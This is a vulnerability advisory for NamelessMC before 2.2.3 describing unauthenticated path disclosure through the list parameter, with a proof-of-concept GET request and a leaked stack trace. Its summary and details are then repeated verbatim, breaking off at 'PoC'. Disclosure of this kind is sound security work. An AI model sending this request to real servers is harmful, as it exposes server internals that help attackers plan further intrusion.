Summary
Sensitive information disclosure in NamelessMC before 2.2.3 allows unauthenticated remote attacker to gain sensitive information such as absolute path of the source code via list parameter.
Details
The server does not properly handle application error which leads to a disclosure of information about the server. An unauthenticated user is able craft specific requests in order to make the application generate an error. Inside an error message, some information about the server is revealed, such as the absolute path of the source code of the application. This kind of information can help an attacker to perform other attacks against the system. This can be exploited without authentication.
PoC
In order to generate an error with sensitive informations:
- Send the following HTTP request:
GET /nameless/queries/member_list/?list=&page=1&overview=false HTTP/1.1
Host: [REDACTED]
(...)
- Server returns sensitive information:
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8
(...)
Member list '' does not exist in /var/www/91.99.136.120/nameless/modules/Members/classes/MemberListManager.php on line 86
#0 /var/www/91.99.136.120/nameless/modules/Members/queries/member_list.php(22): MemberListManager->getList()
#1 /var/www/91.99.136.120/nameless/index.php(122): require('...')
#2 {main}
Summary
Sensitive information disclosure in NamelessMC before 2.2.3 allows unauthenticated remote attacker to gain sensitive information such as absolute path of the source code via list parameter.
Details
The server does not properly handle application error which leads to a disclosure of information about the server. An unauthenticated user is able craft specific requests in order to make the application generate an error. Inside an error message, some information about the server is revealed, such as the absolute path of the source code of the application. This kind of information can help an attacker to perform other attacks against the system. This can be exploited without authentication.
PoC
In order to generate an error with sensitive informations: